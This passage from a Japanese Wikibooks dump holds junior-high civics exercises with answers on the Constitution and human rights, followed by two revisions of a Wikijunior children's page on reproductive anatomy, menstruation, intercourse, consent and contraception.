④　あ　各議院の総議員の３分の２　　　い　住民投票

答え　問１　①　社会権　②　天皇　③　法律　④　最高　⑤　国事　問2　あ　モンテスキュー　い　法の精神　問3　憲法によって、国家の権限を制限し、国民の権利を守るという考え方｡　問4ー１　平和主義　問４ー２　１　問５　PKO　問６　③

'''２　憲法の権利　①　'''

たかし君は憲法の条文についてまとめた。次の文章を読んで、以下の問に答えなさい。

９条　　第一項：日本国民は、正義と秩序を基調とする国際平和を誠実に希求し、国権の発動たる戦争と、武力による威嚇又は武力の行使は、国際紛争を解決する手段としては、永久にこれを（①）する。

９条　　第二項：前項の目的を達するため、陸海空軍その他の戦力は、これを保持しない。国の（②）は、これを認めない。

１４条　第一項：すべて国民は、（③）に平等であって、人種、信条、性別、社会的身分又は門地により、政治的、経済的又は社会的関係において、差別されない。

２５条　第一項：すべて国民は、（④）で（⑤）な（⑥）の生活を営む権利を有する。

問１　次の憲法の条文の（　）に当てはまる語句をそれぞれ答えなさい。（一部入試問題）

問２　次の問題に答えなさい。

問２ー１　１４条のような権利を何というか答えなさい。

問２ー２　この権利に関連して、日本国内に残る差別の説明として正しくないものを次のあ～えから一つ選びなさい。

あ　えた　ひにん　などの江戸時代からの身分の差別は部落差別といわれている。

い　男女差別の解消のために、１９６５年に同和対策審議会がつくられた。

う　アイヌ民族は同化政策の影響で、民族固有の生活ができなくなった時期があった。

え　肌の色を理由とした差別は諸外国でも多くみられる。

問２ー３　１９９９年に性別にかかわりがなく、個人として能力を生かすことができる社会づくりのために制定された法律の名前を答えなさい。（入試問題）

問３　「バリアフリー」とはどのような考えであるか簡潔に答えなさい。（入試問題）

問４　誰もが使いやすいデザインのことを何というか答えなさい。また、それをすることによってどのような社会を実現しようとしているのか述べなさい。（入試問題）

問５　憲法君の友達の正子さんは「自由権」について以下の発表をした。次の発表とそれに関する問題に答えなさい。

（発表の原稿）日本国憲法が定める自由権は身体の自由、精神の自由、経済活動の自由の３つに分けられます。精神の自由には（あ)は含まれません。フランスのある思想家は「あなたの言うことには、一言も賛成できないがあなたの言うことを命をかけても守るつもりだ。」との言葉を述べており、これは日本国憲法の（い）に当てはまります。

問５ー１　（あ）に当てはまるものを次の①～④から一つ選びなさい。（入試問題）

①　信教の自由　②　職業選択の自由　③　学問の自由　④　思想及び良心の自由

問５ー２　（い）に当てはまるものを次の①～④から一つ選びなさい。（入試問題）

①　奴隷的な拘束からの自由　②　表現の自由　③　住居移転の自由　④　残虐な刑罰の禁止

問６　次の問題に答えなさい。

問６ー１　２５条のような権利を何というか答えなさい。（入試問題）

問６ー２　日本国憲法が保障する社会権のうちの２５条で明記されている権利に関連する文として適切なものを次の①～④から一つ選びなさい。（入試問題）

①　医療行為に関して、十分な説明の上で本人が同意するという「インフォームド・コンセント」の考え方が広まっている。

②　現在の社会では、労働者一人当たりの労働時間を短くして、雇用する人を増やすということが出てきつつある。

③　国民にとって分かりやすい裁判制度のために、裁判官や弁護士を増やすことや裁判員制度などの司法改革が進んでいる。

④　少子高齢化社会が進行して、介護保険が整備されているが今後年金や保険制度を整備していく必要がある。

問６ー３　労働者は、使用者よりも弱い立場にいるので日本国憲法では団結権、団体交渉権、団体行動権が定められているがこれを３つあわせて何というか答えなさい。（入試問題）

答え　問１　①　放棄　②　交戦権　③　法の下　④　健康　⑤　文化的　⑥　最低限度　問２ー１　平等権　問２ー２　い　問２ー３　男女共同参画社会基本法　問３　（説明の例）　高齢者や障がいを持つ人が、社会で安全・快適に生活できるように様々な障壁を取り除こうという考え方　問４　ユニバーサルデザイン　（目指す社会の例）　障がいのある人もない人もともに共生できる社会　すべての人が区別されることがなく生きていける社会　など　問５ー１　②　問５ー２　②　問６ー１　生存権　問６ー２　④　問６ー３　労働基本権（労働三権）

'''３　憲法の権利　②'''

次の憲法に関する問題に答えなさい。

問１　国会議員は選ぶ選挙権は参政権に含まれている。日本国憲法で定められている参政権は、その他にもいくつかの権利がある。その権利を次の①～④から一つ選びなさい。（入試問題）

①　刑事裁判で無罪になった時に、国に補償を請求する権利。

②　集会や結社および言論、出版などの表現活動を自由に行う権利。

③　健康で文化的な最低限度の生活を営む権利。

④　最高裁判所の裁判官を選ぶことができる権利。

問２　次の環境権に関する問題に答えなさい。
[[ File:台形マンション (10883580574).jpg|台形マンション_(10883580574)|サムネイル|資料１]]

問２ー１　次の資料１は環境権に含まれるある権利に配慮して、側面を階段状にした建物である。ある権利とは何か答えなさい。（入試問題）

問２ー２　環境権に関連して、現代では大規模な開発を行うときに、環境アセスメントを行うことになっている。環境アセスメントとは何かを次の語句を用いて答えなさい。（入試問題　改題）

（語句）　事前　調査

問３　次の新しい人権に関する問題に答えなさい。

問３ー１　次の文章に当てはまる語句や文章をそれぞれ答えなさい。

知る権利の保障のために（①）制度が導入された。（①）制度では基本的には請求された情報は発表するが、（②）情報は原則として出さない。これはプライバシーを守るためである。

[[ファイル:Driving license reverse side.jpg|サムネイル|資料２]]

問３ー２　右の資料２は自動車運転免許証の裏面である。これには、「臓器提供意思表示欄」が設けられている。次の資料のように臓器提供や生活の仕方について、自分で決める権利を何というか答えなさい。（入試問題）

問４ー１　憲法を適用する上で、人権と人権のぶつかり合いを調整したり、他人の人権を侵害しないように人権を制限することがある。これを何というか答えなさい。（入試問題）

問４ー２　前の問題のように、人権を守るために人権を制限することがある。その例として正しくないものを次の①～④から一つ選びなさい。

①　特定の感染症にかかった患者を病院に強制的に収容する。

②　駅前での集会をすべて禁止にする。

③　無資格の医師は医療活動をすることができない。

④　他人の名誉を傷つけることを認めない。

問５　人権の歴史について書いた次の文章を読んで、以下の問題に答えなさい。

１９４８年にすべての人の人権を守ることを目的とした（①）が国際連合で採択された。その後、１９６６年には（②）が条約のかたちで加盟国を拘束するために同じく国際連合で採択された。

問５ー１　文章中の（　）に当てはまる語句をそれぞれ答えなさい。（入試問題）

問５ー２　１９９４年に日本が批准した子供の権利に関する条約を何というか答えなさい。（入試問題　改題）

問５ー３　次のあ～うを年代の古い順に記号で並べなさい。（入試問題）

あ　フランス人権宣言　い　ワイマール憲法　う　アメリカ独立宣言　

答え　問１　④　問２ー１　日照権　問２ー２　開発が環境に与える影響について調査を行うこと。　問３ー１　①　情報公開　②　（例）個人に関する　問３ー２　自己決定権　問４ー１　公共の福祉　問４ー２　②　問５ー１　①　世界人権宣言　②　国際人権規約　問５ー２　子ども（児童）の権利条約　問５ー３　う→あ→い

'''４　人権と日本国憲法の総合問題'''

竹下さんは夏休みに図書館で調べ学習をしている時に、とある新聞の記事を見つけた。次の記事を読んで、以下の問題に答えなさい。

{{コラム|憲法に書かれていない人権|
　[[ファイル:臓器提供意思表示カード（表面）2.jpg|サムネイル|資料１]]
　日本国憲法は私たちの自由や人権を保障するものですが、皆さんは日本国憲法に書かれていない人権を知っていますか。右の写真（資料１）は臓器の提供を死んだときに他人に提供をしてもよいと意思表示をする「ドナーカード」というものです。これが出てきた背景には、個人が自分の生活や生き方を自分で決めるという（　）という権利の広がりがあります。しかし、（　）のように社会の変化に伴って必要となってきた人権は憲法には書かれておらず、しっかりと憲法が保障しているものではありません。皆さんはこのことについてどう考えますか。
}}

問１　記事について、次の問題に答えなさい。

問１ー１　文章中の（　）に当てはまる語句を漢字５文字で答えなさい。（入試問題）

問１ー２　文章中の権利に関連して、近年ではインフォームド・コンセントが求められている。このインフォームド・コンセントに当てはまらないものを次の①～④から一つ選びなさい。（入試問題）

①　複数の手術例を伝えて、どの手術にするかを患者に選んでもらう。

②　薬の副作用について説明して、患者と処方する薬を考える。

③　手術で輸血する際に、輸血の必要性を患者に伝えて納得してもらう。

④　患者に代わって、専門家として最善の治療法を考える。

問２　社会権に当てはまる権利を次の①～④の中から一つ選びなさい。（入試問題）

①　選挙権　②　請願権　③知る権利　④生存権

答え　問１ー１　自己決定権　問１ー２　④　問２　④

[[カテゴリ:中学校公民]]
[[カテゴリ:人権]]
[[カテゴリ:憲法]]</text>
      <sha1>p1ip78c0615egclzvgw9jl1qbiwrtsz</sha1>
    </revision>
  </page>
  <page>
    <title>Wikijunior:人間の体/生殖器官</title>
    <ns>0</ns>
    <id>43186</id>
    <revision>
      <id>305273</id>
      <parentid>291791</parentid>
      <timestamp>2026-11-01T10:58:02Z</timestamp>
      <contributor>
        <username>~2026-58120-52</username>
        <id>92926</id>
      </contributor>
      <comment>/* {{ruby|子宮|しきゅう}} */</comment>
      <origin>305273</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="14491" sha1="gkvgcicfylo2lwzwn4awm9cph777q6w" xml:space="preserve">{{ウィキジュニアのスタブ}}&lt;!-- ウィキジュニアの内容とするには、表現に検討を要します。--&gt;
生殖器は、赤ちゃんを作るための体のパーツです。

=={{ruby|男|おとこ}}の{{ruby|子|こ}}の{{ruby|生殖器|せいしょくき}}==
ここでは{{ruby|男|おとこ}}の{{ruby|子|こ}}の{{ruby|生殖器|せいしょくき}}について{{ruby|解説|かいせつ}}します。
[[Image:Male anatomy numbers 1.png|400px|thumb]]
[[Image:Sperm release pathway.svg|400px|thumb]]
==={{ruby|陰茎|いんけい}}（ペニス）（3）===
{{ruby|陰茎|いんけい}}には{{ruby|尿道|にょうどう}}と{{ruby|呼|よ}}ばれるものが{{ruby|通|とお}}っていて、ここからおしっこを{{ruby|出|だ}}します。{{ruby|男|おとこ}}の{{ruby|子|こ}}の{{ruby|陰茎|いんけい}}を{{ruby|刺激|しげき}}すると、{{ruby|陰茎|いんけい}}の{{ruby|中|なか}}にある{{ruby|海綿体|かいめんたい}}(4)に{{ruby|血液|けつえき}}がたくさん{{ruby|入|はい}}ってきて、{{ruby|陰茎|いんけい}}が{{ruby|太|ふと}}く{{ruby|長|なが}}く{{ruby|硬|かた}}くなります。この{{ruby|状態|じょうたい}}を{{ruby|勃起|ぼっき}}といいます。さらに{{ruby|陰茎|いんけい}}を{{ruby|刺激|しげき}}すると、あとで{{ruby|説明|せつめい}}する{{ruby|射精|しゃせい}}をします。

==={{ruby|亀頭|きとう}}===
{{ruby|陰茎|いんけい}}の{{ruby|先|さき}}っちょの{{ruby|太|ふと}}くなっている{{ruby|部分|ぶぶん}}を{{ruby|亀頭|きとう}}といいます。{{ruby|子供|こども}}の{{ruby|場合|ばあい}}は{{ruby|通常|つうじょう}}{{ruby|亀頭|きとう}}は{{ruby|皮|かわ}}で{{ruby|覆|おお}}われています。{{ruby|成長|せいちょう}}したら、{{ruby|勃起時|ぼっきじ}}に{{ruby|手|て}}で{{ruby|亀頭|きとう}}を{{ruby|露出|ろしゅつ}}させることができるようになります。たまに、{{ruby|常|つね}}に{{ruby|亀頭|きとう}}が{{ruby|露出|ろしゅつ}}していないとダメだと思っている{{ruby|人|ひと}}もいますが、これは{{ruby|間違|まちが}}いです。{{ruby|亀頭|きとう}}が{{ruby|皮|かわ}}で{{ruby|覆|おお}}われていて、{{ruby|勃起時|ぼっきじ}}か、{{ruby|手|て}}で{{ruby|皮|かわ}}を{{ruby|摘|つま}}むことで{{ruby|亀頭|きとう}}を{{ruby|露出|ろしゅつ}}させることができる{{ruby|状態|じょうたい}}が{{ruby|医学的|いがくてき}}に{{ruby|正常|せいじょう}}な{{ruby|状態|じょうたい}}です。また、{{ruby|子|こ}}どものうちは、{{ruby|亀頭|きとう}}と{{ruby|皮|かわ}}は{{ruby|癒着|ゆちゃく}}しているため、{{ruby|包皮|ほうひ}}を{{ruby|剥|む}}くことは{{ruby|多|おお}}くの{{ruby|場合|ばあい}}で{{ruby|出来|でき}}ませんし、{{ruby|無理|むり}}に{{ruby|包皮|ほうひ}}を{{ruby|剥|む}}こうとすると{{ruby|炎症|えんしょう}}を{{ruby|起|お}}こす{{ruby|可能性|かのうせい}}があり{{ruby|危険|きけん}}ですので{{ruby|絶対|ぜったい}}にしないでください。

==={{ruby|精巣|せいそう}}(17)===
{{ruby|精巣|せいそう}}では{{ruby|赤|あか}}ちゃんの{{ruby|元|もと}}となる{{ruby|精子|せいし}}が{{ruby|作|つく}}られます。{{ruby|精巣|せいそう}}は、{{ruby|精子形成|せいしけいせい}}に{{ruby|適|てき}}した34~35℃を{{ruby|保|たも}}つために{{ruby|陰嚢|いんのう}}という{{ruby|袋|ふくろ}}の{{ruby|中|なか}}に{{ruby|入|はい}}って{{ruby|体外|たいがい}}にぶら{{ruby|下|さ}}がっています。また、アンドロゲンというホルモンも{{ruby|精巣|せいそう}}で{{ruby|作|つく}}られます。

==={{ruby|精巣上体|せいそうじょうたい}}(16)===
{{ruby|精巣上体|せいそうじょうたい}}では{{ruby|精巣|せいそう}}で{{ruby|作|つく}}られた{{ruby|精子|せいし}}が{{ruby|集|あつ}}められ、{{ruby|数週間熟成|すうしゅうかんじゅくせい}}されます。{{ruby|射精|しゃせい}}される{{ruby|精子|せいし}}が{{ruby|待機|たいき}}される{{ruby|場所|ばしょ}}でもあります。{{ruby|精巣上体|せいそうじょうたい}}は{{ruby|全部|ぜんぶ}}で6メートルほどの{{ruby|細|ほそ}}い{{ruby|管|くだ}}がぐるぐる{{ruby|巻|ま}}きになった{{ruby|構造|こうぞう}}をしています。

==={{ruby|陰嚢|いんのう}}===
{{ruby|陰嚢|いんのう}}は{{ruby|精巣|せいそう}}と{{ruby|精巣上体|せいそうじょうたい}}を{{ruby|覆|おお}}っている{{ruby|袋|ふくろ}}です。{{ruby|精巣|せいそう}}が{{ruby|精子|せいし}}を{{ruby|作|つく}}るのに{{ruby|適|てき}}した{{ruby|温度|おんど}}は34{{ruby|度前後|どぜんご}}なので、これを{{ruby|維持|いじ}}するために{{ruby|陰嚢|いんのう}}の{{ruby|筋肉|きんにく}}が{{ruby|伸|の}}びたり{{ruby|縮|ちぢ|}}んだりして{{ruby|温度|おんど}}を{{ruby|調節|ちょうせつ}}しています。

==={{ruby|精管|せいかん}}===
{{ruby|精管|せいかん}}は{{ruby|精子|せいし}}を{{ruby|精巣上体|せいそうじょうたい}}から{{ruby|送|おく}}る30cmほどの{{ruby|管|くだ}}で{{ruby|精嚢|せいのう}}の近くまで{{ruby|伸|の}}びています。{{ruby|射精時|しゃせいじ}}には{{ruby|精巣上体|せいそうじょうたい}}にある{{ruby|精子|せいし}}が{{ruby|精管|せいかん}}を{{ruby|通|とお}}って{{ruby|精嚢附近|せいのうふきん}}まで{{ruby|移動|いどう}}し、{{ruby|精嚢|せいのう}}から{{ruby|分泌|ぶんぴつ}}される{{ruby|精漿|せいしょう}}という{{ruby|液体|えきたい}}と{{ruby|混|ま}}ざって{{ruby|精液|せいえき}}の{{ruby|一部|いちぶ}}になります。

==={{ruby|前立腺|ぜんりつせん}}===
{{ruby|前立腺|ぜんりつせん}}の{{ruby|内部|ないぶ}}で{{ruby|射精管|しゃせいかん}}と{{ruby|尿道|にょうどう}}が{{ruby|合流|ごうりゅう}}します。

{{ruby|図|ず}}からは{{ruby|分|わ}}かりにくいですが、{{ruby|精巣|せいそう}}、{{ruby|精巣上体|せいそうじょうたい}}、{{ruby|精管|せいかん}}、{{ruby|精嚢|せいのう}}、{{ruby|射精管|しゃせいかん}}は{{ruby|左右|さゆう}}に{{ruby|一対|いっつい}}あります。

==={{ruby|射精|しゃせい}}===
{{ruby|男|おとこ}}の{{ruby|子|こ}}は{{ruby|性器|せいき}}を{{ruby|刺激|しげき}}すると{{ruby|陰茎|いんけい}}が{{ruby|硬|かた}}くなり、{{ruby|精子|せいし}}を{{ruby|出|だ}}します。これを{{ruby|射精|しゃせい}}といいます。{{ruby|始|はじ}}めての{{ruby|射精|しゃせい}}を{{ruby|精通|せいつう}}といい、10{{ruby|歳|さい}}から18{{ruby|歳|さい}}までに{{ruby|体験|たいけん}}する{{ruby|人|ひと}}が{{ruby|多|おお}}いです。{{ruby|精子|せいし}}は{{ruby|赤|あか}}ちゃんの{{ruby|もと}}となるもので、{{ruby|女|おんな}}の{{ruby|子|こ}}の{{ruby|中|なか}}にある{{ruby|卵子|らんし}}と{{ruby|合体|がったい}}して{{ruby|赤|あか}}ちゃんになります。


=={{ruby|女|おんな}}の{{ruby|子|こ}}の{{ruby|生殖器|せいしょくき}}==
[[Image:Illu_repdt_female-nihongoban.png|400px]]

{{ruby|女|おんな}}の{{ruby|子|こ}}はおまたに{{ruby|三|みっ}}つの{{ruby|穴|あな}}を{{ruby|持|も}}っています。{{ruby|一|ひと}}つ{{ruby|目|め}}は{{ruby|膣口|ちつこう}}です。ここは、{{ruby|赤|あか}}ちゃんが{{ruby|産|う}}まれてくる{{ruby|口|くち}}です。{{ruby|二|ふた}}つ{{ruby|目|め}}は{{ruby|尿道口|にょうどうこう}}です。ここからおしっこをします。{{ruby|三|みっ}}つ{{ruby|目|め}}は{{ruby|肛門|こうもん}}です。ここから、うんちをします。

==={{ruby|卵巣|らんそう}}===
{{ruby|卵巣|らんそう}}は{{ruby|卵子|らんし}}の{{ruby|元|もと}}になる{{ruby|卵細胞|らんさいぼう}}を{{ruby|保存|ほぞん}}し、{{ruby|熟成|じゅくせい}}させます。{{ruby|他|ほか}}にも、エストロゲンなどのホルモンを{{ruby|分泌|ぶんぴつ}}します。

==={{ruby|卵管|らんかん}}===
{{ruby|卵管|らんかん}}は{{ruby|卵巣|らんそう}}と{{ruby|子宮|しきゅう}}を{{ruby|つなぐ管|くだ}}です。{{ruby|卵巣|らんそう}}から{{ruby|排卵|はいらん}}された{{ruby|卵子|らんし}}は{{ruby|卵管|らんかん}}に{{ruby|移動|いどう}}します。{{ruby|卵管|らんかん}}まで{{ruby|移動|いどう}}した{{ruby|精子|せいし}}は{{ruby|卵管|らんかん}}で{{ruby|卵子|らんし}}と{{ruby|融合|ゆうごう}}し{{ruby|受精卵|じゅせいらん}}になります。

==={{ruby|膣|ちつ}}===
{{ruby|膣|ちつ}}は{{ruby|筋肉|きんにく}}でできた{{ruby|管|くだ}}で{{ruby|伸|の}}び{{ruby|縮|ちぢ}}みします。{{ruby|膣|ちつ}}は{{ruby|赤|あか}}ちゃんを{{ruby|産|う}}むときの{{ruby|通|とお}}り{{ruby|道|みち}}になります。また、{{ruby|性交時|せいこうじ}}に{{ruby|精子|せいし}}が{{ruby|放出|ほうしゅつ}}される{{ruby|場所|ばしょ}}でもあります。

==={{ruby|陰核|いんかく}}（クリトリス）===
{{ruby|陰核|いんかく}}は{{ruby|性的快感|せいてきかいかん}}に{{ruby|関|かか}}わる{{ruby|器官|きかん}}です。{{ruby|生殖|せいしょく}}には直接には{{ruby|関係|かんけい}}しません。{{ruby|陰茎|いんけい}}と{{ruby|同|おな}}じく{{ruby|陰核|いんかく}}を{{ruby|刺激|しげき}}すると{{ruby|勃起|ぼっき}}します。

==={{ruby|月経|げっけい}}（{{ruby|生理|せいり}}）===
{{ruby|女|おんな}}の{{ruby|子|こ}}は、1か{{ruby|月|げつ}}ごとに{{ruby|膣口|ちつこう}}から{{ruby|血|ち}}が{{ruby|出|で}}ることがあります。これを{{ruby|生理|せいり}}といいます。{{ruby|生理|せいり}}は、{{ruby|女|おんな}}の{{ruby|子|こ}}の{{ruby|体|からだ}}の{{ruby|中|なか}}にある{{ruby|赤|あか}}ちゃんができるベッドのようなものが{{ruby|出|で}}てくることです。{{ruby|初|はじ}}めての{{ruby|生理|せいり}}を{{ruby|初潮|しょちょう}}といいます。これは{{ruby|小|しょう}}5から{{ruby|中|ちゅう}}2に{{ruby|起|お}}きる{{ruby|人|ひと}}が{{ruby|多|おお}}いです。{{ruby|女|おんな}}の{{ruby|子|こ}}は{{ruby|生理中|せいりちゅう}}は{{ruby|体調|たいちょう}}が{{ruby|悪|わる}}くなったり、{{ruby|心|こころ}}が{{ruby|不安定|ふあんてい}}になることがあります。

=={{ruby|性行|せいこう}}（セックス）==
セックスとは、{{ruby|赤|あか}}ちゃんを{{ruby|作|つく}}ったり、{{ruby|愛|あい}}し{{ruby|合|あ}}うために{{ruby|男|おとこ}}の{{ruby|子|こ}}と{{ruby|女|おんな}}の{{ruby|子|こ}}で{{ruby|行|おこな}}うことです。
セックスを{{ruby|行|おこな}}う{{ruby|前|まえ}}に、お{{ruby|互|たが}}いがセックスをしたいと{{ruby|思|おも}}っていることを{{ruby|確認|かくにん}}する{{ruby|必要|ひつよう}}があります。

セックスは{{ruby|勃起|ぼっき}}して{{ruby|硬|かた}}くなった{{ruby|陰茎|いんけい}}を{{ruby|膣|ちつ}}にいれることで{{ruby|行|おこな}}います。この{{ruby|状態|じょうたい}}から{{ruby|膣内|ちつない}}で{{ruby|陰茎|いんけい}}を{{ruby|往復運動|おうふくうんどう}}させることによって{{ruby|絶頂|ぜっちょう}}に{{ruby|達|たっ}}し{{ruby|射精|しゃせい}}します。それ{{ruby|以外|いがい}}にもそれぞれの{{ruby|体|からだ}}を{{ruby|触|さわ}}り{{ruby|合|あ}}ったりキスをしたりします。また、{{ruby|陰茎|いんけい}}を{{ruby|挿入|そうにゅう}}する{{ruby|前|まえ}}にはお{{ruby|互|たが}}いの{{ruby|生殖器|せいしょくき}}を{{ruby|触|さわ}}ったり{{ruby|舐|な}}めたりするなどして{{ruby|腟分泌液|ちつぶんぴつえき}}を{{ruby|分泌|ぶんぴつ}}させます。{{ruby|膣分泌液|ちつぶんぴつえき}}は{{ruby|性交時|せいこうじ}}の{{ruby|摩擦|まさつ}}から{{ruby|膣|ちつ}}を{{ruby|守|まも}}るための{{ruby|潤滑剤|じゅんかつざい}}としての{{ruby|役割|やくわり}}があります。

{{ruby|膣内|ちつない}}で{{ruby|射精|しゃせい}}することで、{{ruby|精子|せいし}}は{{ruby|卵管|らんかん}}に{{ruby|向|む}}かい{{ruby|卵子|らんし}}の{{ruby|中|なか}}に{{ruby|入|い}}り{{ruby|込|こ}}み{{ruby|受精|じゅせい}}します。つまり、{{ruby|膣内|ちつない}}で{{ruby|射精|しゃせい}}してしまうと{{ruby|赤|あか}}ちゃんができる{{ruby|可能性|かのうせい}}があるということです。そのため、セックスを{{ruby|行|おこな}}うとき、{{ruby|赤|あか}}ちゃんがほしくない、{{ruby|赤|あか}}ちゃんができても{{ruby|育|そだ}}てられないときは{{ruby|避妊|ひにん}}（{{ruby|赤|あか}}ちゃんができないようにする）することが{{ruby|大切|たいせつ}}です。{{ruby|避妊|ひにん}}にはコンドームと{{ruby|呼|よ}}ばれる{{ruby|薄|うす}}い{{ruby|膜|まく}}を、{{ruby|勃起|ぼっき}}した{{ruby|陰茎|いんけい}}に{{ruby|被|かぶ}}せるという{{ruby|方法|ほうほう}}が{{ruby|主流|しゅりゅう}}です。きちんとコンドームが{{ruby|着|つ}}けられていれば、お{{ruby|互|たが}}いの{{ruby|性器|せいき}}や{{ruby|体液|たいえき}}が{{ruby|直接接|ちょくせつせっ}}することはないので、{{ruby|避妊|ひにん}}の{{ruby|成功率|せいこうりつ}}は{{ruby|極|きわ}}めて{{ruby|高|たか}}いです。しかし、{{ruby|避妊|ひにん}}することで100%{{ruby|赤|あか}}ちゃんができる{{ruby|危険性|きけんせい}}がなくなるわけではないため、{{ruby|責任|せきにん}}をもてる{{ruby|年齢|ねんれい}}になってからセックスは{{ruby|行|おこな}}うべきでしょう。</text>
      <sha1>gkvgcicfylo2lwzwn4awm9cph777q6w</sha1>
    </revision>
    <revision>
      <id>305274</id>
      <parentid>305273</parentid>
      <timestamp>2026-11-01T10:59:58Z</timestamp>
      <contributor>
        <username>~2026-58120-52</username>
        <id>92926</id>
      </contributor>
      <comment>/* {{ruby|男|おとこ}}の{{ruby|子|こ}}の{{ruby|生殖器|せいしょくき}} */</comment>
      <origin>305274</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="7581" sha1="n8nax1q4hz8hyddps2o3612or1vn9lr" xml:space="preserve">{{ウィキジュニアのスタブ}}&lt;!-- ウィキジュニアの内容とするには、表現に検討を要します。--&gt;
生殖器は、赤ちゃんを作るための体のパーツです。

=={{ruby|男|おとこ}}の{{ruby|子|こ}}の{{ruby|生殖器|せいしょくき}}==
ここでは{{ruby|男|おとこ}}の{{ruby|子|こ}}の{{ruby|生殖器|せいしょくき}}について{{ruby|解説|かいせつ}}します。
[[Image:Male anatomy numbers 1.png|400px|

=={{ruby|女|おんな}}の{{ruby|子|こ}}の{{ruby|生殖器|せいしょくき}}==
[[Image:Illu_repdt_female-nihongoban.png|400px]]

{{ruby|女|おんな}}の{{ruby|子|こ}}はおまたに{{ruby|三|みっ}}つの{{ruby|穴|あな}}を{{ruby|持|も}}っています。{{ruby|一|ひと}}つ{{ruby|目|め}}は{{ruby|膣口|ちつこう}}です。ここは、{{ruby|赤|あか}}ちゃんが{{ruby|産|う}}まれてくる{{ruby|口|くち}}です。{{ruby|二|ふた}}つ{{ruby|目|め}}は{{ruby|尿道口|にょうどうこう}}です。ここからおしっこをします。{{ruby|三|みっ}}つ{{ruby|目|め}}は{{ruby|肛門|こうもん}}です。ここから、うんちをします。

==={{ruby|卵巣|らんそう}}===
{{ruby|卵巣|らんそう}}は{{ruby|卵子|らんし}}の{{ruby|元|もと}}になる{{ruby|卵細胞|らんさいぼう}}を{{ruby|保存|ほぞん}}し、{{ruby|熟成|じゅくせい}}させます。{{ruby|他|ほか}}にも、エストロゲンなどのホルモンを{{ruby|分泌|ぶんぴつ}}します。

==={{ruby|卵管|らんかん}}===
{{ruby|卵管|らんかん}}は{{ruby|卵巣|らんそう}}と{{ruby|子宮|しきゅう}}を{{ruby|つなぐ管|くだ}}です。{{ruby|卵巣|らんそう}}から{{ruby|排卵|はいらん}}された{{ruby|卵子|らんし}}は{{ruby|卵管|らんかん}}に{{ruby|移動|いどう}}します。{{ruby|卵管|らんかん}}まで{{ruby|移動|いどう}}した{{ruby|精子|せいし}}は{{ruby|卵管|らんかん}}で{{ruby|卵子|らんし}}と{{ruby|融合|ゆうごう}}し{{ruby|受精卵|じゅせいらん}}になります。

==={{ruby|膣|ちつ}}===
{{ruby|膣|ちつ}}は{{ruby|筋肉|きんにく}}でできた{{ruby|管|くだ}}で{{ruby|伸|の}}び{{ruby|縮|ちぢ}}みします。{{ruby|膣|ちつ}}は{{ruby|赤|あか}}ちゃんを{{ruby|産|う}}むときの{{ruby|通|とお}}り{{ruby|道|みち}}になります。また、{{ruby|性交時|せいこうじ}}に{{ruby|精子|せいし}}が{{ruby|放出|ほうしゅつ}}される{{ruby|場所|ばしょ}}でもあります。

==={{ruby|陰核|いんかく}}（クリトリス）===
{{ruby|陰核|いんかく}}は{{ruby|性的快感|せいてきかいかん}}に{{ruby|関|かか}}わる{{ruby|器官|きかん}}です。{{ruby|生殖|せいしょく}}には直接には{{ruby|関係|かんけい}}しません。{{ruby|陰茎|いんけい}}と{{ruby|同|おな}}じく{{ruby|陰核|いんかく}}を{{ruby|刺激|しげき}}すると{{ruby|勃起|ぼっき}}します。

==={{ruby|月経|げっけい}}（{{ruby|生理|せいり}}）===
{{ruby|女|おんな}}の{{ruby|子|こ}}は、1か{{ruby|月|げつ}}ごとに{{ruby|膣口|ちつこう}}から{{ruby|血|ち}}が{{ruby|出|で}}ることがあります。これを{{ruby|生理|せいり}}といいます。{{ruby|生理|せいり}}は、{{ruby|女|おんな}}の{{ruby|子|こ}}の{{ruby|体|からだ}}の{{ruby|中|なか}}にある{{ruby|赤|あか}}ちゃんができるベッドのようなものが{{ruby|出|で}}てくることです。{{ruby|初|はじ}}めての{{ruby|生理|せいり}}を{{ruby|初潮|しょちょう}}といいます。これは{{ruby|小|しょう}}5から{{ruby|中|ちゅう}}2に{{ruby|起|お}}きる{{ruby|人|ひと}}が{{ruby|多|おお}}いです。{{ruby|女|おんな}}の{{ruby|子|こ}}は{{ruby|生理中|せいりちゅう}}は{{ruby|体調|たいちょう}}が{{ruby|悪|わる}}くなったり、{{ruby|心|こころ}}が{{ruby|不安定|ふあんてい}}になることがあります。

=={{ruby|性行|せいこう}}（セックス）==
セックスとは、{{ruby|赤|あか}}ちゃんを{{ruby|作|つく}}ったり、{{ruby|愛|あい}}し{{ruby|合|あ}}うために{{ruby|男|おとこ}}の{{ruby|子|こ}}と{{ruby|女|おんな}}の{{ruby|子|こ}}で{{ruby|行|おこな}}うことです。
セックスを{{ruby|行|おこな}}う{{ruby|前|まえ}}に、お{{ruby|互|たが}}いがセックスをしたいと{{ruby|思|おも}}っていることを{{ruby|確認|かくにん}}する{{ruby|必要|ひつよう}}があります。

セックスは{{ruby|勃起|ぼっき}}して{{ruby|硬|かた}}くなった{{ruby|陰茎|いんけい}}を{{ruby|膣|ちつ}}にいれることで{{ruby|行|おこな}}います。この{{ruby|状態|じょうたい}}から{{ruby|膣内|ちつない}}で{{ruby|陰茎|いんけい}}を{{ruby|往復運動|おうふくうんどう}}させることによって{{ruby|絶頂|ぜっちょう}}に{{ruby|達|たっ}}し{{ruby|射精|しゃせい}}します。それ{{ruby|以外|いがい}}にもそれぞれの{{ruby|体|からだ}}を{{ruby|触|さわ}}り{{ruby|合|あ}}ったりキスをしたりします。また、{{ruby|陰茎|いんけい}}を{{ruby|挿入|そうにゅう}}する{{ruby|前|まえ}}にはお{{ruby|互|たが}}いの{{ruby|生殖器|せいしょくき}}を{{ruby|触|さわ}}ったり{{ruby|舐|な}}めたりするなどして{{ruby|腟分泌液|ちつぶんぴつえき}}を{{ruby|分泌|ぶんぴつ}}させます。{{ruby|膣分泌液|ちつぶんぴつえき}}は{{ruby|性交時|せいこうじ}}の{{ruby|摩擦|まさつ}}から{{ruby|膣|ちつ}}を{{ruby|守|まも}}るための{{ruby|潤滑剤|じゅんかつざい}}としての{{ruby|役割|やくわり}}があります。

